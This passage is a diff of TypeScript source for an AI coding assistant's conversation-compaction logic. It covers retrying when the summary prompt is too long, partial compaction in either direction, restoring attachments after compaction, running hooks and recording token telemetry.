+ * that wasn't migrated in bfdb472f's unification.
+ */
+export function truncateHeadForPTLRetry(
+  messages: Message[],
+  ptlResponse: AssistantMessage,
+): Message[] | null {
+  // Strip our own synthetic marker from a previous retry before grouping.
+  // Otherwise it becomes its own group 0 and the 20% fallback stalls
+  // (drops only the marker, re-adds it, zero progress on retry 2+).
+  const input =
+    messages[0]?.type === 'user' &&
+    messages[0].isMeta &&
+    messages[0].message.content === PTL_RETRY_MARKER
+      ? messages.slice(1)
+      : messages
+
+  const groups = groupMessagesByApiRound(input)
+  if (groups.length < 2) return null
+
+  const tokenGap = getPromptTooLongTokenGap(ptlResponse)
+  let dropCount: number
+  if (tokenGap !== undefined) {
+    let acc = 0
+    dropCount = 0
+    for (const g of groups) {
+      acc += roughTokenCountEstimationForMessages(g)
+      dropCount++
+      if (acc >= tokenGap) break
+    }
+  } else {
+    dropCount = Math.max(1, Math.floor(groups.length * 0.2))
+  }
+
+  // Keep at least one group so there's something to summarize.
+  dropCount = Math.min(dropCount, groups.length - 1)
+  if (dropCount < 1) return null
+
+  const sliced = groups.slice(dropCount).flat()
+  // groupMessagesByApiRound puts the preamble in group 0 and starts every
+  // subsequent group with an assistant message. Dropping group 0 leaves an
+  // assistant-first sequence which the API rejects (first message must be
+  // role=user). Prepend a synthetic user marker — ensureToolResultPairing
+  // already handles any orphaned tool_results this creates.
+  if (sliced[0]?.type === 'assistant') {
+    return [
+      createUserMessage({ content: PTL_RETRY_MARKER, isMeta: true }),
+      ...sliced,
+    ]
+  }
+  return sliced
+}
+
+export const ERROR_MESSAGE_PROMPT_TOO_LONG =
+  'Conversation too long. Press esc twice to go up a few messages and try again.'
+export const ERROR_MESSAGE_USER_ABORT = 'API Error: Request was aborted.'
+export const ERROR_MESSAGE_INCOMPLETE_RESPONSE =
+  'Compaction interrupted · This may be due to network issues — please try again.'
+
+export interface CompactionResult {
+  boundaryMarker: SystemMessage
+  summaryMessages: UserMessage[]
+  attachments: AttachmentMessage[]
+  hookResults: HookResultMessage[]
+  messagesToKeep?: Message[]
+  userDisplayMessage?: string
+  preCompactTokenCount?: number
+  postCompactTokenCount?: number
+  truePostCompactTokenCount?: number
+  compactionUsage?: ReturnType<typeof getTokenUsage>
+}
+
+/**
+ * Diagnosis context passed from autoCompactIfNeeded into compactConversation.
+ * Lets the tengu_compact event disambiguate same-chain loops (H2) from
+ * cross-agent (H1/H5) and manual-vs-auto (H3) compactions without joins.
+ */
+export type RecompactionInfo = {
+  isRecompactionInChain: boolean
+  turnsSincePreviousCompact: number
+  previousCompactTurnId?: string
+  autoCompactThreshold: number
+  querySource?: QuerySource
+}
+
+/**
+ * Build the base post-compact messages array from a CompactionResult.
+ * This ensures consistent ordering across all compaction paths.
+ * Order: boundaryMarker, summaryMessages, messagesToKeep, attachments, hookResults
+ */
+export function buildPostCompactMessages(result: CompactionResult): Message[] {
+  return [
+    result.boundaryMarker,
+    ...result.summaryMessages,
+    ...(result.messagesToKeep ?? []),
+    ...result.attachments,
+    ...result.hookResults,
+  ]
+}
+
+/**
+ * Annotate a compact boundary with relink metadata for messagesToKeep.
+ * Preserved messages keep their original parentUuids on disk (dedup-skipped);
+ * the loader uses this to patch head→anchor and anchor's-other-children→tail.
+ *
+ * `anchorUuid` = what sits immediately before keep[0] in the desired chain:
+ *   - suffix-preserving (reactive/session-memory): last summary message
+ *   - prefix-preserving (partial compact): the boundary itself
+ */
+export function annotateBoundaryWithPreservedSegment(
+  boundary: SystemCompactBoundaryMessage,
+  anchorUuid: UUID,
+  messagesToKeep: readonly Message[] | undefined,
+): SystemCompactBoundaryMessage {
+  const keep = messagesToKeep ?? []
+  if (keep.length === 0) return boundary
+  return {
+    ...boundary,
+    compactMetadata: {
+      ...boundary.compactMetadata,
+      preservedSegment: {
+        headUuid: keep[0]!.uuid,
+        anchorUuid,
+        tailUuid: keep.at(-1)!.uuid,
+      },
+    },
+  }
+}
+
+/**
+ * Merges user-supplied custom instructions with hook-provided instructions.
+ * User instructions come first; hook instructions are appended.
+ * Empty strings normalize to undefined.
+ */
+export function mergeHookInstructions(
+  userInstructions: string | undefined,
+  hookInstructions: string | undefined,
+): string | undefined {
+  if (!hookInstructions) return userInstructions || undefined
+  if (!userInstructions) return hookInstructions
+  return `${userInstructions}\n\n${hookInstructions}`
+}
+
+/**
+ * Creates a compact version of a conversation by summarizing older messages
+ * and preserving recent conversation history.
+ */
+export async function compactConversation(
+  messages: Message[],
+  context: ToolUseContext,
+  cacheSafeParams: CacheSafeParams,
+  suppressFollowUpQuestions: boolean,
+  customInstructions?: string,
+  isAutoCompact: boolean = false,
+  recompactionInfo?: RecompactionInfo,
+): Promise<CompactionResult> {
+  try {
+    if (messages.length === 0) {
+      throw new Error(ERROR_MESSAGE_NOT_ENOUGH_MESSAGES)
+    }
+
+    const preCompactTokenCount = tokenCountWithEstimation(messages)
+
+    const appState = context.getAppState()
+    void logPermissionContextForAnts(appState.toolPermissionContext, 'summary')
+
+    context.onCompactProgress?.({
+      type: 'hooks_start',
+      hookType: 'pre_compact',
+    })
+
+    // Execute PreCompact hooks
+    context.setSDKStatus?.('compacting')
+    const hookResult = await executePreCompactHooks(
+      {
+        trigger: isAutoCompact ? 'auto' : 'manual',
+        customInstructions: customInstructions ?? null,
+      },
+      context.abortController.signal,
+    )
+    customInstructions = mergeHookInstructions(
+      customInstructions,
+      hookResult.newCustomInstructions,
+    )
+    const userDisplayMessage = hookResult.userDisplayMessage
+
+    // Show requesting mode with up arrow and custom message
+    context.setStreamMode?.('requesting')
+    context.setResponseLength?.(() => 0)
+    context.onCompactProgress?.({ type: 'compact_start' })
+
+    // 3P default: true — forked-agent path reuses main conversation's prompt cache.
+    // Experiment (Jan 2026) confirmed: false path is 98% cache miss, costs ~0.76% of
+    // fleet cache_creation (~38B tok/day), concentrated in ephemeral envs (CCR/GHA/SDK)
+    // with cold GB cache and 3P providers where GB is disabled. GB gate kept as kill-switch.
+    const promptCacheSharingEnabled = getFeatureValue_CACHED_MAY_BE_STALE(
+      'tengu_compact_cache_prefix',
+      true,
+    )
+
+    const compactPrompt = getCompactPrompt(customInstructions)
+    const summaryRequest = createUserMessage({
+      content: compactPrompt,
+    })
+
+    let messagesToSummarize = messages
+    let retryCacheSafeParams = cacheSafeParams
+    let summaryResponse: AssistantMessage
+    let summary: string | null
+    let ptlAttempts = 0
+    for (;;) {
+      summaryResponse = await streamCompactSummary({
+        messages: messagesToSummarize,
+        summaryRequest,
+        appState,
+        context,
+        preCompactTokenCount,
+        cacheSafeParams: retryCacheSafeParams,
+      })
+      summary = getAssistantMessageText(summaryResponse)
+      if (!summary?.startsWith(PROMPT_TOO_LONG_ERROR_MESSAGE)) break
+
+      // CC-1180: compact request itself hit prompt-too-long. Truncate the
+      // oldest API-round groups and retry rather than leaving the user stuck.
+      ptlAttempts++
+      const truncated =
+        ptlAttempts <= MAX_PTL_RETRIES
+          ? truncateHeadForPTLRetry(messagesToSummarize, summaryResponse)
+          : null
+      if (!truncated) {
+        logEvent('tengu_compact_failed', {
+          reason:
+            'prompt_too_long' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+          preCompactTokenCount,
+          promptCacheSharingEnabled,
+          ptlAttempts,
+        })
+        throw new Error(ERROR_MESSAGE_PROMPT_TOO_LONG)
+      }
+      logEvent('tengu_compact_ptl_retry', {
+        attempt: ptlAttempts,
+        droppedMessages: messagesToSummarize.length - truncated.length,
+        remainingMessages: truncated.length,
+      })
+      messagesToSummarize = truncated
+      // The forked-agent path reads from cacheSafeParams.forkContextMessages,
+      // not the messages param — thread the truncated set through both paths.
+      retryCacheSafeParams = {
+        ...retryCacheSafeParams,
+        forkContextMessages: truncated,
+      }
+    }
+
+    if (!summary) {
+      logForDebugging(
+        `Compact failed: no summary text in response. Response: ${jsonStringify(summaryResponse)}`,
+        { level: 'error' },
+      )
+      logEvent('tengu_compact_failed', {
+        reason:
+          'no_summary' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        preCompactTokenCount,
+        promptCacheSharingEnabled,
+      })
+      throw new Error(
+        `Failed to generate conversation summary - response did not contain valid text content`,
+      )
+    } else if (startsWithApiErrorPrefix(summary)) {
+      logEvent('tengu_compact_failed', {
+        reason:
+          'api_error' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        preCompactTokenCount,
+        promptCacheSharingEnabled,
+      })
+      throw new Error(summary)
+    }
+
+    // Store the current file state before clearing
+    const preCompactReadFileState = cacheToObject(context.readFileState)
+
+    // Clear the cache
+    context.readFileState.clear()
+    context.loadedNestedMemoryPaths?.clear()
+
+    // Intentionally NOT resetting sentSkillNames: re-injecting the full
+    // skill_listing (~4K tokens) post-compact is pure cache_creation with
+    // marginal benefit. The model still has SkillTool in its schema and
+    // invoked_skills attachment (below) preserves used-skill content. Ants
+    // with EXPERIMENTAL_SKILL_SEARCH already skip re-injection via the
+    // early-return in getSkillListingAttachments.
+
+    // Run async attachment generation in parallel
+    const [fileAttachments, asyncAgentAttachments] = await Promise.all([
+      createPostCompactFileAttachments(
+        preCompactReadFileState,
+        context,
+        POST_COMPACT_MAX_FILES_TO_RESTORE,
+      ),
+      createAsyncAgentAttachmentsIfNeeded(context),
+    ])
+
+    const postCompactFileAttachments: AttachmentMessage[] = [
+      ...fileAttachments,
+      ...asyncAgentAttachments,
+    ]
+    const planAttachment = createPlanAttachmentIfNeeded(context.agentId)
+    if (planAttachment) {
+      postCompactFileAttachments.push(planAttachment)
+    }
+
+    // Add plan mode instructions if currently in plan mode, so the model
+    // continues operating in plan mode after compaction
+    const planModeAttachment = await createPlanModeAttachmentIfNeeded(context)
+    if (planModeAttachment) {
+      postCompactFileAttachments.push(planModeAttachment)
+    }
+
+    // Add skill attachment if skills were invoked in this session
+    const skillAttachment = createSkillAttachmentIfNeeded(context.agentId)
+    if (skillAttachment) {
+      postCompactFileAttachments.push(skillAttachment)
+    }
+
+    // Compaction ate prior delta attachments. Re-announce from the current
+    // state so the model has tool/instruction context on the first
+    // post-compact turn. Empty message history → diff against nothing →
+    // announces the full set.
+    for (const att of getDeferredToolsDeltaAttachment(
+      context.options.tools,
+      context.options.mainLoopModel,
+      [],
+      { callSite: 'compact_full' },
+    )) {
+      postCompactFileAttachments.push(createAttachmentMessage(att))
+    }
+    for (const att of getAgentListingDeltaAttachment(context, [])) {
+      postCompactFileAttachments.push(createAttachmentMessage(att))
+    }
+    for (const att of getMcpInstructionsDeltaAttachment(
+      context.options.mcpClients,
+      context.options.tools,
+      context.options.mainLoopModel,
+      [],
+    )) {
+      postCompactFileAttachments.push(createAttachmentMessage(att))
+    }
+
+    context.onCompactProgress?.({
+      type: 'hooks_start',
+      hookType: 'session_start',
+    })
+    // Execute SessionStart hooks after successful compaction
+    const hookMessages = await processSessionStartHooks('compact', {
+      model: context.options.mainLoopModel,
+    })
+
+    // Create the compact boundary marker and summary messages before the
+    // event so we can compute the true resulting-context size.
+    const boundaryMarker = createCompactBoundaryMessage(
+      isAutoCompact ? 'auto' : 'manual',
+      preCompactTokenCount ?? 0,
+      messages.at(-1)?.uuid,
+    )
+    // Carry loaded-tool state — the summary doesn't preserve tool_reference
+    // blocks, so the post-compact schema filter needs this to keep sending
+    // already-loaded deferred tool schemas to the API.
+    const preCompactDiscovered = extractDiscoveredToolNames(messages)
+    if (preCompactDiscovered.size > 0) {
+      boundaryMarker.compactMetadata.preCompactDiscoveredTools = [
+        ...preCompactDiscovered,
+      ].sort()
+    }
+
+    const transcriptPath = getTranscriptPath()
+    const summaryMessages: UserMessage[] = [
+      createUserMessage({
+        content: getCompactUserSummaryMessage(
+          summary,
+          suppressFollowUpQuestions,
+          transcriptPath,
+        ),
+        isCompactSummary: true,
+        isVisibleInTranscriptOnly: true,
+      }),
+    ]
+
+    // Previously "postCompactTokenCount" — renamed because this is the
+    // compact API call's total usage (input_tokens ≈ preCompactTokenCount),
+    // NOT the size of the resulting context. Kept for event-field continuity.
+    const compactionCallTotalTokens = tokenCountFromLastAPIResponse([
+      summaryResponse,
+    ])
+
+    // Message-payload estimate of the resulting context. The next iteration's
+    // shouldAutoCompact will see this PLUS ~20-40K for system prompt + tools +
+    // userContext (via API usage.input_tokens). So `willRetriggerNextTurn: true`
+    // is a strong signal; `false` may still retrigger when this is close to threshold.
+    const truePostCompactTokenCount = roughTokenCountEstimationForMessages([
+      boundaryMarker,
+      ...summaryMessages,
+      ...postCompactFileAttachments,
+      ...hookMessages,
+    ])
+
+    // Extract compaction API usage metrics
+    const compactionUsage = getTokenUsage(summaryResponse)
+
+    const querySourceForEvent =
+      recompactionInfo?.querySource ?? context.options.querySource ?? 'unknown'
+
+    logEvent('tengu_compact', {
+      preCompactTokenCount,
+      // Kept for continuity — semantically the compact API call's total usage
+      postCompactTokenCount: compactionCallTotalTokens,
+      truePostCompactTokenCount,
+      autoCompactThreshold: recompactionInfo?.autoCompactThreshold ?? -1,
+      willRetriggerNextTurn:
+        recompactionInfo !== undefined &&
+        truePostCompactTokenCount >= recompactionInfo.autoCompactThreshold,
+      isAutoCompact,
+      querySource:
+        querySourceForEvent as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      queryChainId: (context.queryTracking?.chainId ??
+        '') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      queryDepth: context.queryTracking?.depth ?? -1,
+      isRecompactionInChain: recompactionInfo?.isRecompactionInChain ?? false,
+      turnsSincePreviousCompact:
+        recompactionInfo?.turnsSincePreviousCompact ?? -1,
+      previousCompactTurnId: (recompactionInfo?.previousCompactTurnId ??
+        '') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      compactionInputTokens: compactionUsage?.input_tokens,
+      compactionOutputTokens: compactionUsage?.output_tokens,
+      compactionCacheReadTokens: compactionUsage?.cache_read_input_tokens ?? 0,
+      compactionCacheCreationTokens:
+        compactionUsage?.cache_creation_input_tokens ?? 0,
+      compactionTotalTokens: compactionUsage
+        ? compactionUsage.input_tokens +
+          (compactionUsage.cache_creation_input_tokens ?? 0) +
+          (compactionUsage.cache_read_input_tokens ?? 0) +
+          compactionUsage.output_tokens
+        : 0,
+      promptCacheSharingEnabled,
+      // analyzeContext walks every content block (~11ms on a 4.5K-message
+      // session) purely for this telemetry breakdown. Computed here, past
+      // the compaction-API await, so the sync walk doesn't starve the
+      // render loop before compaction even starts. Same deferral pattern
+      // as reactiveCompact.ts.
+      ...(() => {
+        try {
+          return tokenStatsToStatsigMetrics(analyzeContext(messages))
+        } catch (error) {
+          logError(error as Error)
+          return {}
+        }
+      })(),
+    })
+
+    // Reset cache read baseline so the post-compact drop isn't flagged as a break
+    if (feature('PROMPT_CACHE_BREAK_DETECTION')) {
+      notifyCompaction(
+        context.options.querySource ?? 'compact',
+        context.agentId,
+      )
+    }
+    markPostCompaction()
+
+    // Re-append session metadata (custom title, tag) so it stays within
+    // the 16KB tail window that readLiteMetadata reads for --resume display.
+    // Without this, enough post-compaction messages push the metadata entry
+    // out of the window, causing --resume to show the auto-generated title
+    // instead of the user-set session name.
+    reAppendSessionMetadata()
+
+    // Write a reduced transcript segment for the pre-compaction messages
+    // (assistant mode only). Fire-and-forget — errors are logged internally.
+    if (feature('KAIROS')) {
+      void sessionTranscriptModule?.writeSessionTranscriptSegment(messages)
+    }
+
+    context.onCompactProgress?.({
+      type: 'hooks_start',
+      hookType: 'post_compact',
+    })
+    const postCompactHookResult = await executePostCompactHooks(
+      {
+        trigger: isAutoCompact ? 'auto' : 'manual',
+        compactSummary: summary,
+      },
+      context.abortController.signal,
+    )
+
+    const combinedUserDisplayMessage = [
+      userDisplayMessage,
+      postCompactHookResult.userDisplayMessage,
+    ]
+      .filter(Boolean)
+      .join('\n')
+
+    return {
+      boundaryMarker,
+      summaryMessages,
+      attachments: postCompactFileAttachments,
+      hookResults: hookMessages,
+      userDisplayMessage: combinedUserDisplayMessage || undefined,
+      preCompactTokenCount,
+      postCompactTokenCount: compactionCallTotalTokens,
+      truePostCompactTokenCount,
+      compactionUsage,
+    }
+  } catch (error) {
+    // Only show the error notification for manual /compact.
+    // Auto-compact failures are retried on the next turn and the
+    // notification is confusing when compaction eventually succeeds.
+    if (!isAutoCompact) {
+      addErrorNotificationIfNeeded(error, context)
+    }
+    throw error
+  } finally {
+    context.setStreamMode?.('requesting')
+    context.setResponseLength?.(() => 0)
+    context.onCompactProgress?.({ type: 'compact_end' })
+    context.setSDKStatus?.(null)
+  }
+}
+
+/**
+ * Performs a partial compaction around the selected message index.
+ * Direction 'from': summarizes messages after the index, keeps earlier ones.
+ *   Prompt cache for kept (earlier) messages is preserved.
+ * Direction 'up_to': summarizes messages before the index, keeps later ones.
+ *   Prompt cache is invalidated since the summary precedes the kept messages.
+ */
+export async function partialCompactConversation(
+  allMessages: Message[],
+  pivotIndex: number,
+  context: ToolUseContext,
+  cacheSafeParams: CacheSafeParams,
+  userFeedback?: string,
+  direction: PartialCompactDirection = 'from',
+): Promise<CompactionResult> {
+  try {
+    const messagesToSummarize =
+      direction === 'up_to'
+        ? allMessages.slice(0, pivotIndex)
+        : allMessages.slice(pivotIndex)
+    // 'up_to' must strip old compact boundaries/summaries: for 'up_to',
+    // summary_B sits BEFORE kept, so a stale boundary_A in kept wins
+    // findLastCompactBoundaryIndex's backward scan and drops summary_B.
+    // 'from' keeps them: summary_B sits AFTER kept (backward scan still
+    // works), and removing an old summary would lose its covered history.
+    const messagesToKeep =
+      direction === 'up_to'
+        ? allMessages
+            .slice(pivotIndex)
+            .filter(
+              m =>
+                m.type !== 'progress' &&
+                !isCompactBoundaryMessage(m) &&
+                !(m.type === 'user' && m.isCompactSummary),
+            )
+        : allMessages.slice(0, pivotIndex).filter(m => m.type !== 'progress')
+
+    if (messagesToSummarize.length === 0) {
+      throw new Error(
+        direction === 'up_to'
+          ? 'Nothing to summarize before the selected message.'
+          : 'Nothing to summarize after the selected message.',
+      )
+    }
+
+    const preCompactTokenCount = tokenCountWithEstimation(allMessages)
+
+    context.onCompactProgress?.({
+      type: 'hooks_start',
+      hookType: 'pre_compact',
+    })
+
+    context.setSDKStatus?.('compacting')
+    const hookResult = await executePreCompactHooks(
+      {
+        trigger: 'manual',
+        customInstructions: null,
+      },
+      context.abortController.signal,
+    )
+
+    // Merge hook instructions with user feedback
+    let customInstructions: string | undefined
+    if (hookResult.newCustomInstructions && userFeedback) {
+      customInstructions = `${hookResult.newCustomInstructions}\n\nUser context: ${userFeedback}`
+    } else if (hookResult.newCustomInstructions) {
+      customInstructions = hookResult.newCustomInstructions
+    } else if (userFeedback) {
+      customInstructions = `User context: ${userFeedback}`
+    }
+
+    context.setStreamMode?.('requesting')
+    context.setResponseLength?.(() => 0)
+    context.onCompactProgress?.({ type: 'compact_start' })
+
+    const compactPrompt = getPartialCompactPrompt(customInstructions, direction)
+    const summaryRequest = createUserMessage({
+      content: compactPrompt,
+    })
+
+    const failureMetadata = {
+      preCompactTokenCount,
+      direction:
+        direction as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      messagesSummarized: messagesToSummarize.length,
+    }
+
+    // 'up_to' prefix hits cache directly; 'from' sends all (tail wouldn't cache).
+    // PTL retry breaks the cache prefix but unblocks the user (CC-1180).
+    let apiMessages = direction === 'up_to' ? messagesToSummarize : allMessages
+    let retryCacheSafeParams =
+      direction === 'up_to'
+        ? { ...cacheSafeParams, forkContextMessages: messagesToSummarize }
+        : cacheSafeParams
+    let summaryResponse: AssistantMessage
+    let summary: string | null
+    let ptlAttempts = 0
+    for (;;) {
+      summaryResponse = await streamCompactSummary({
+        messages: apiMessages,
+        summaryRequest,
+        appState: context.getAppState(),
+        context,
+        preCompactTokenCount,
+        cacheSafeParams: retryCacheSafeParams,
+      })
+      summary = getAssistantMessageText(summaryResponse)
+      if (!summary?.startsWith(PROMPT_TOO_LONG_ERROR_MESSAGE)) break
+
+      ptlAttempts++
+      const truncated =
+        ptlAttempts <= MAX_PTL_RETRIES
+          ? truncateHeadForPTLRetry(apiMessages, summaryResponse)
+          : null
+      if (!truncated) {
+        logEvent('tengu_partial_compact_failed', {
+          reason:
+            'prompt_too_long' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+          ...failureMetadata,
+          ptlAttempts,
+        })
+        throw new Error(ERROR_MESSAGE_PROMPT_TOO_LONG)
+      }
+      logEvent('tengu_compact_ptl_retry', {
+        attempt: ptlAttempts,
+        droppedMessages: apiMessages.length - truncated.length,
+        remainingMessages: truncated.length,
+        path: 'partial' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      })
+      apiMessages = truncated
+      retryCacheSafeParams = {
+        ...retryCacheSafeParams,
+        forkContextMessages: truncated,
+      }
+    }
+    if (!summary) {
+      logEvent('tengu_partial_compact_failed', {
+        reason:
+          'no_summary' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        ...failureMetadata,
+      })
+      throw new Error(
+        'Failed to generate conversation summary - response did not contain valid text content',
+      )
+    } else if (startsWithApiErrorPrefix(summary)) {
+      logEvent('tengu_partial_compact_failed', {
+        reason:
+          'api_error' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        ...failureMetadata,
+      })
+      throw new Error(summary)
+    }
+
+    // Store the current file state before clearing
+    const preCompactReadFileState = cacheToObject(context.readFileState)
+    context.readFileState.clear()
+    context.loadedNestedMemoryPaths?.clear()
+    // Intentionally NOT resetting sentSkillNames — see compactConversation()
+    // for rationale (~4K tokens saved per compact event).
+
+    const [fileAttachments, asyncAgentAttachments] = await Promise.all([
+      createPostCompactFileAttachments(
+        preCompactReadFileState,
+        context,
+        POST_COMPACT_MAX_FILES_TO_RESTORE,
+        messagesToKeep,
+      ),
+      createAsyncAgentAttachmentsIfNeeded(context),
+    ])
+
+    const postCompactFileAttachments: AttachmentMessage[] = [
+      ...fileAttachments,
+      ...asyncAgentAttachments,
+    ]
+    const planAttachment = createPlanAttachmentIfNeeded(context.agentId)
+    if (planAttachment) {
+      postCompactFileAttachments.push(planAttachment)
+    }
+
+    // Add plan mode instructions if currently in plan mode
+    const planModeAttachment = await createPlanModeAttachmentIfNeeded(context)
+    if (planModeAttachment) {
+      postCompactFileAttachments.push(planModeAttachment)
+    }
+
+    const skillAttachment = createSkillAttachmentIfNeeded(context.agentId)
+    if (skillAttachment) {
+      postCompactFileAttachments.push(skillAttachment)
+    }
+
+    // Re-announce only what was in the summarized portion — messagesToKeep
+    // is scanned, so anything already announced there is skipped.
+    for (const att of getDeferredToolsDeltaAttachment(
+      context.options.tools,
+      context.options.mainLoopModel,
+      messagesToKeep,
+      { callSite: 'compact_partial' },
+    )) {
+      postCompactFileAttachments.push(createAttachmentMessage(att))
+    }
+    for (const att of getAgentListingDeltaAttachment(context, messagesToKeep)) {
+      postCompactFileAttachments.push(createAttachmentMessage(att))
+    }
+    for (const att of getMcpInstructionsDeltaAttachment(
+      context.options.mcpClients,
+      context.options.tools,
+      context.options.mainLoopModel,
+      messagesToKeep,
+    )) {
+      postCompactFileAttachments.push(createAttachmentMessage(att))
+    }
+
+    context.onCompactProgress?.({
+      type: 'hooks_start',
+      hookType: 'session_start',
+    })
+    const hookMessages = await processSessionStartHooks('compact', {
+      model: context.options.mainLoopModel,
+    })
+
+    const postCompactTokenCount = tokenCountFromLastAPIResponse([
+      summaryResponse,
+    ])
+    const compactionUsage = getTokenUsage(summaryResponse)
+
+    logEvent('tengu_partial_compact', {
+      preCompactTokenCount,
+      postCompactTokenCount,
+      messagesKept: messagesToKeep.length,
+      messagesSummarized: messagesToSummarize.length,
+      direction:
+        direction as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      hasUserFeedback: !!userFeedback,
+      trigger:
+        'message_selector' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      compactionInputTokens: compactionUsage?.input_tokens,
+      compactionOutputTokens: compactionUsage?.output_tokens,
+      compactionCacheReadTokens: compactionUsage?.cache_read_input_tokens ?? 0,
+      compactionCacheCreationTokens:
+        compactionUsage?.cache_creation_input_tokens ?? 0,
+    })
+
+    // Progress messages aren't loggable, so forkSessionImpl would null out
+    // a logicalParentUuid pointing at one. Both directions skip them.
+    const lastPreCompactUuid =
+      direction === 'up_to'
+        ? allMessages.slice(0, pivotIndex).findLast(m => m.type !== 'progress')
+            ?.uuid
+        : messagesToKeep.at(-1)?.uuid
+    const boundaryMarker = createCompactBoundaryMessage(
+      'manual',
+      preCompactTokenCount ?? 0,
+      lastPreCompactUuid,
+      userFeedback,
+      messagesToSummarize.length,
+    )
+    // allMessages not just messagesToSummarize — set union is idempotent,
+    // simpler than tracking which half each tool lived in.
+    const preCompactDiscovered = extractDiscoveredToolNames(allMessages)
+    if (preCompactDiscovered.size > 0) {
+      boundaryMarker.compactMetadata.preCompactDiscoveredTools = [
+        ...preCompactDiscovered,
+      ].sort()
+    }
+
+    const transcriptPath = getTranscriptPath()
+    const summaryMessages: UserMessage[] = [
+      createUserMessage({
+        content: getCompactUserSummaryMessage(summary, false, transcriptPath),
+        isCompactSummary: true,
+        ...(messagesToKeep.length > 0
+          ? {
+              summarizeMetadata: {
+                messagesSummarized: messagesToSummarize.length,
+                userContext: userFeedback,
+                direction,
+              },
+            }
+          : { isVisibleInTranscriptOnly: true as const }),
+      }),
+    ]
+
+    if (feature('PROMPT_CACHE_BREAK_DETECTION')) {
+      notifyCompaction(
+        context.options.querySource ?? 'compact',
+        context.agentId,
+      )
+    }
+    markPostCompaction()
+
+    // Re-append session metadata (custom title, tag) so it stays within
+    // the 16KB tail window that readLiteMetadata reads for --resume display.
+    reAppendSessionMetadata()
+
+    if (feature('KAIROS')) {
+      void sessionTranscriptModule?.writeSessionTranscriptSegment(
+        messagesToSummarize,
+      )
+    }
+
+    context.onCompactProgress?.({
+      type: 'hooks_start',
+      hookType: 'post_compact',
+    })
+    const postCompactHookResult = await executePostCompactHooks(
+      {
+        trigger: 'manual',
+        compactSummary: summary,
+      },
+      context.abortController.signal,
+    )
+
+    // 'from': prefix-preserving → boundary; 'up_to': suffix → last summary
+    const anchorUuid =
+      direction === 'up_to'
+        ? (summaryMessages.at(-1)?.uuid ?? boundaryMarker.uuid)
+        : boundaryMarker.uuid
+    return {
+      boundaryMarker: annotateBoundaryWithPreservedSegment(
+        boundaryMarker,
+        anchorUuid,
+        messagesToKeep,
+      ),
+      summaryMessages,
+      messagesToKeep,
+      attachments: postCompactFileAttachments,
+      hookResults: hookMessages,
+      userDisplayMessage: postCompactHookResult.userDisplayMessage,
+      preCompactTokenCount,
+      postCompactTokenCount,
+      compactionUsage,
+    }
+  } catch (error) {
+    addErrorNotificationIfNeeded(error, context)
+    throw error
+  } finally {
+    context.setStreamMode?.('requesting')
+    context.setResponseLength?.(() => 0)
+    context.onCompactProgress?.({ type: 'compact_end' })
+    context.setSDKStatus?.(null)
+  }
+}
+
+function addErrorNotificationIfNeeded(
+  error: unknown,
+  context: Pick<ToolUseContext, 'addNotification'>,
+) {
+  if (
+    !hasExactErrorMessage(error, ERROR_MESSAGE_USER_ABORT) &&
+    !hasExactErrorMessage(error, ERROR_MESSAGE_NOT_ENOUGH_MESSAGES)
+  ) {
+    context.addNotification?.({
+      key: 'error-compacting-conversation',
+      text: 'Error compacting conversation',
+      priority: 'immediate',
+      color: 'error',
+    })
+  }
+}
+
+export function createCompactCanUseTool(): CanUseToolFn {
+  return async () => ({
+    behavior: 'deny' as const,
+    message: 'Tool use is not allowed during compaction',
+    decisionReason: {
+      type: 'other' as const,
+      reason: 'compaction agent should only produce text summary',
+    },
+  })
+}
+
+async function streamCompactSummary({
+  messages,
+  summaryRequest,
+  appState,
+  context,
+  preCompactTokenCount,
+  cacheSafeParams,
+}: {
+  messages: Message[]
+  summaryRequest: UserMessage
+  appState: Awaited<ReturnType<ToolUseContext['getAppState']>>
+  context: ToolUseContext
+  preCompactTokenCount: number
+  cacheSafeParams: CacheSafeParams
+}): Promise<AssistantMessage> {
+  // When prompt cache sharing is enabled, use forked agent to reuse the
+  // main conversation's cached prefix (system prompt, tools, context messages).
+  // Falls back to regular streaming path on failure.
+  // 3P default: true — see comment at the other tengu_compact_cache_prefix read above.
+  const promptCacheSharingEnabled = getFeatureValue_CACHED_MAY_BE_STALE(
+    'tengu_compact_cache_prefix',
+    true,
+  )
+  // Send keep-alive signals during compaction to prevent remote session
+  // WebSocket idle timeouts from dropping bridge connections. Compaction
+  // API calls can take 5-10+ seconds, during which no other messages
+  // flow through the transport — without keep-alives, the server may
+  // close the WebSocket for inactivity.
+  // Two signals: (1) PUT /worker heartbeat via sessionActivity, and
+  // (2) re-emit 'compacting' status so the SDK event stream stays active
+  // and the server doesn't consider the session stale.
+  const activityInterval = isSessionActivityTrackingActive()
+    ? setInterval(
+        (statusSetter?: (status: 'compacting' | null) => void) => {
+          sendSessionActivitySignal()
+          statusSetter?.('compacting')
+        },
+        30_000,
+        context.setSDKStatus,
+      )
+    : undefined
+
+  try {
+    if (promptCacheSharingEnabled) {
+      try {
+        // DO NOT set maxOutputTokens here. The fork piggybacks on the main thread's
+        // prompt cache by sending identical cache-key params (system, tools, model,
+        // messages prefix, thinking config). Setting maxOutputTokens would clamp
+        // budget_tokens via Math.min(budget, maxOutputTokens-1) in claude.ts,
+        // creating a thinking config mismatch that invalidates the cache.
+        // The streaming fallback path (below) can safely set maxOutputTokensOverride
